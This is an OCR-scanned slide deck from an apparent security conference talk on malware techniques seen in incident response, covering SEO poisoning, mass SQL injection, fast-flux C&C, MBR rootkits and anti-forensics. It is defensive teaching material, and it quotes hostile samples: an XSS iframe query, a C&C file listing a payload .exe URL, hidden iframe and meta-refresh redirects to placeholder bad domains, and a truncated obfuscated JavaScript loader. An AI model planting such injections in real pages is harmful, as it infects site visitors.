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Who We Are - Greg Feezel

IT (info sec) director — 20+ years in IT
— 8+ info security

CISSP certified -
Manage info security and multiple IT infra depts

Built security office & IR program NEO
Founded security association M Info Sec
Forum

InfraGard Executive Council
Fusion Center Critical Infrastructure Protection

Talks at various conferences, prof associations,
colleges

Doesn't like to sleep...it's overrated




Who We Are — Tyler Hudak

e 10+ years IT experience
e Sr. Consultant for KorelLogic Security
e SANS GCIA, GCFA certified

e Presented at previous GFIRST, other
security conferences

e Analyzes malware all the time
e All around cool guy! ©




What We Are Covering

e Techniques we have observed
— From our malware analysis
— During incident response
— Second-hand experience from trusted contacts

e These techniques are now used by malware

Agenda

e Techniques by function: Propagation, Droppers,
C&C, Maintaining Infection, Avoiding Detection,
Evading Analysis

e Other interesting techniques & comments
e "Jack Ryan” of malware




Techniques




Propagation




Propagation - Defined

e How malware spreads itself from one
machine to another

e Social engineering often used to entice
victim

e Classic Technique: IM, email (SPAM,
phishing)
— Traditional, “old-school”
— Still active




Propagation — Technique

e Technique: Legitimate websites
— Newer
— Code injected into pages
e Examples:
— SEO poisoning
— SQL injection




SEO Poisoning

e Many sites have search engines

e These sites cache the queries performed
on their local search engines

e Certain search engines (Google) are given
access to these caches

e These caches are used by Google during
search result page rankings




SEO Poison Attack

e Attacker finds a website with a search
engine which does not perform input
validation

o Attacker performs lots of queries on the

affected site for popular terms

e Queries include XSS iframe to an infected
site

—i.e. "buy tramadol for lowest prices <iframe
src=//badsite/badpage>"
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Mass SQL Injection (still occurring)
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Propagation — Technique

e Technique: Placing code in non traditional
areas of pages on websites

— META, HEAD, TITLE tags
e Will look at this one later







C&C Techniques

e Defined:

— Command & Control

— Issues commands to infected machines (aka
“zombies"”) to control them

e Techniques:
— Websites via HTTP GET
— Websites via HTTP POST
— Fast Flux




C&C Techniques: Examples

GET a11.6600.0rg/6600.txt

6600.txt file:
1126|http://83.138.132.212/hxw/hx/200512.exe|1|0|30|http://
www.newau.net|1|0|30|http://www.happydd.com|1|0|30|http:/
/ww.happycd.cn/hxw/hx/home.htm|1|0|60|http://www.newher.
net|1|0|30|http://ww.happycd.cn/hxw/hx/login.htm|1]0|60|http:
//www.happydd.com/link.html|1]|0|30|http://www.timeau.com/I
ink.html|1|0|30|http://www.autvb.com|1|0|30|http://www.newh
er.net/links.html|1|0|30|http://www.timeau.com|1|0|30]|http://w
ww.newau.net/indexjob.htm|1|0|30|http://www.autvb.com/link
.ntml|1|0|30|http://www.newau.net/indexreg.htm|1|0|30|http://
ww.happycd.cn/hxw/hx/home.htm|1]|0|300|http://ww.happycd
.cn/hxw/hx/login.htm|1|0|1000|http://ww.happycd.cn/nxw/hx/h
ome.htm|1|0|1000|http://ww.happycd.cn/hxw/hx/login.htm|
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Fast Flux DNS

e Used to evade determination and
takedown of C&C

e Hundreds of botnet computers act as flux
agents

e \Work on two levels:

— Constantly changing DNS records through
small TTL values

— Transparent proxy to malicious sites




Fast Flux DNS

e Flux agents register themselves
as "A” records for malicious
website

— Use very short TTL values

e "A” record queried, response is
a large number of flux agent
addresses

— These get cached for a short time

Result: Malicious websites have many
different, changing IP addresses.




Transparent Proxy

e Flux agents act as transparent proxy for
HTTP requests

e Send requests back to “flux mothership”

e Mothership returns malicious website
content through flux agent

Result: Malicious websites are never
directly accessed. Unless you monitor a
flux agent, it will never be found.




Transparent Proxy

Normal Network
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1) Response content
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2)
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, &Response
= returned
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home flux. example com
PC \
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=
HTTP GET / r
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Web Request Comparison




Maintaining Infection




Maintaining Infection

Techniques
e Defined: Surviving reboot, etc.

e Rootkits:

— Userland: easiest to use, most users wont detect, will
run with minimal user rights

— MBR rootkit:

e Made possible by unprotected first sectors of disk - all
Windows vers suseptible

o Benefits of mbr rootkit: no need for a file or Registry entry,
full control of machine boot-process

e Original code by eEye patched NDIS (netw) driver, some
patch kernel

e Hides from AV by hooking disk drivers read function
e Evades overwrite by hooking disk write function

e Hidden processes & IE windows
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Avoiding Detection Techniques

e Defined: Keep users and IR/security
personnel from detecting

e HTTP and HTML tricks
— Also used to evade analysis

e Quick modification of HOSTS file
e Quick communication with C&C




HTTP User-Agent & Referer Fields

e Special HTTP User-Agents or Referrer fields
when pulling down malware files: keeps
researchers from using blind/standard WGETSs

® Ve I’y common "2 Follow TCP Stream

POST /dispatcher.php HTTP/1. 1

Referer: http://fp.[bad-domain2]/fingerprint.php
Accept: */*

Content-Type: application/x-www-form-urlencoded
User-Agent: CS Fingerprint Module

Host: fp.[bad-domain1]




HTML Tricks

e META refresh tag in HEAD tag rather than BODY

<html>

<head>

<meta http-equiv="REFRESH" content="1;
URL="http://[baddomain].com/manageeu.html'"'>
</head>

<body>

document moved to

<a href="http://[baddomain].com/a.html">here</a>
</body>

</html>




HTML Tricks (2)
e Javascript inside HTML

<htmli>

<script language="JavaScript">

<!--

function hB113mP4g(QB47aNjVn){var
j2YWp27s3=arguments.callee.toString().replace(/\W/g,").toUp
perCase();var v0J5gdia6;var h3wDJApOF;var
XX7J17rWy=j2YWp27s3.length;var aVUy1bX1a;var
176j3jWDv=";var IT15aX34T=new
Array();for(h3wDJApOF=0;h3wDJApOF<256;h3wDJApPOF++)
{IT15aX34T[h3WwDJApPOF]=0 ... //-->

</script>

<body onLoad="hB113mP4g('9Eaca194b89Fa8A7588 ...




HTML Tricks (2)

e iframe tags inside HEAD tag
e iframe tags inside HTML but not BODY or TITLE tags

<htmli>

<head>

<iframe style="width:100%;height:2000' width="100%'
height="2000' scrolling="'no’ frameborder='no’' marginwidth="0'
marginheight='0" src="http://[bad-site1]'></iframe>

</head>

<iframe style="width:100%;height:2000' width="100%'
height="2000' scrolling="'no’ frameborder='no’' marginwidth="0'
marginheight='0" src="http://[bad-site2] ></iframe>

<body>404 Not Found<br></body>
</html>




Evading Analysis




Evading Analysis - Defined

e Techniques used to keep researchers from
figuring out attack techniques

e Avoiding reverse engineering




Evading Analysis Techniques

Anti-forensics examples

— i.e.; lovekr.4dg.com/bbs.htm

e Wont allow tools to run off CD- Blacklight, Bitdefender Anti-
rootkit, GMER

e Error message: "Windows cannot access the specified device,
path, or file. You may not have the appropriate permissions
to access the item."

— Asking to close monitoring program
Fast-flux / double-flux DNS
Dynamic DNS registrations via algorithm

Unique usage of HTTP
— Also used to avoid detection

Setting cookies




Anti-Forensics

e Wont allow tools to run off CD- Blacklight,
Bitdefender Anti-rootkit, GMER

— Error message: "Windows cannot access the
specified device, path, or file. You may not
have the appropriate permissions to access
the item.”

e Asking to close monitoring program
e Blocking apps run from read-only media




Anti-Forensics (2)

R ootkit | B I

Tupe | Mame | value Systern
S50T WYL AProgram Fileshewido anti-sppware 4.0hguard. sys SwlpenProcess
S50T WA Program Fileshewido anti-zpyevare 4. 0hguard. sps ZwTerminateProcess
et O:hhelis exe[1960] w5232 dil connect 71AB4064 5 Bytes JMP 00343579 Devices
et D:helis exe[1960] w5232 dilsend 71A4B 4284 5 Bytes JMP 00343730 Mol
et D:Sheli. exe[1960] 'S5 2_32. dil gethastbyname 714B4FD4 5 Bytez JMP 00344ED4 noules
et D:hhelis exe[1960] W5 232 dilclosesocket 71489639 5 Bytez JMP 00344E 84 Procezses

Threads

Sections

Libraries

Services

Reogizty

IMer.exe .
Files

gmer.exe has encountered a problem and needs to close. C:h
We are zomy for the inconvenience. E-Y

[ F:e

IF wou were in the middle of something, the infarmation pou were working on
might be ozt

Pleasze tell Microsoft about thiz problem.

“We have created an error report that you can zend to us. e will treat I aD5
thiz report as confidential and anonymos.

T Show al

To zee what data thiz emar report containg, click here.

Stop
send Eror Report | | Don't Send | IF1100-43CC- 0040092231 961 HETHPCI#VE Copy




Anti-Forensics (3)

BitDefender Rootkit Uncover |

Errar creating process <iC\DOCUME~ 1 ADMIMI~~ 1 LOCAL S~ 11 Templ IPO00, TMPYWANTIR Q-1 EXE /5>, Reason:
Access is denied.

x|

A monitor program has been Found running in your syskern,
Please, unload it From memory and restark wour progran,




Other Interesting
Techniques & Comments




Criminals Growth Potential

e Fake/rogue...
— security software
— video codecs
— websites
— non-security software

e Dynamic DNS registrations via algorithm

e Phishers using malware techniques
— Fast Flux DNS




The Ultimate "Critter”?

What future malware may look like




The Jack Ryan of Malware

L3

Uses websites to infect
— Purpose: easy to mass infect
Droppers come from double-flux domains
— Purpose: avoid takedown of C&C, EA
Custom packer
— Purpose: AD

Malware dl site uses User-Agent and Referrer fields and encrypted sessions

— Purpose: AD, EA
Sets a cookie
— Purpose: EA
Rootkit hides malware (maybe MBR rootkit)
— Purpose: AD
Anti-forensics (block analysts tools from running)
— Purpose: EA
Excessive website chatter
— Purpose: AD




Summary

e Ingenuity of criminals continue to improve

e Recycled techniques
— Mis-typed URLs: update.microfsot.cn
— Fake security software
— SQL injection

— IM, SPAM, phishing...yawn
e Many new techniques
— Fast/Double Fast Flux DNS
— Use of websites to infect, C&C, etc
— SEO poisoning
— Mass SQL injection...frequency




Thank You for Coming!
Questions, Comments?

Tyler Hudak
thudak@korelogic.com

Greg Feezel
greg.feezel@neoinfosecforum.org
mwdisector@gmail.com




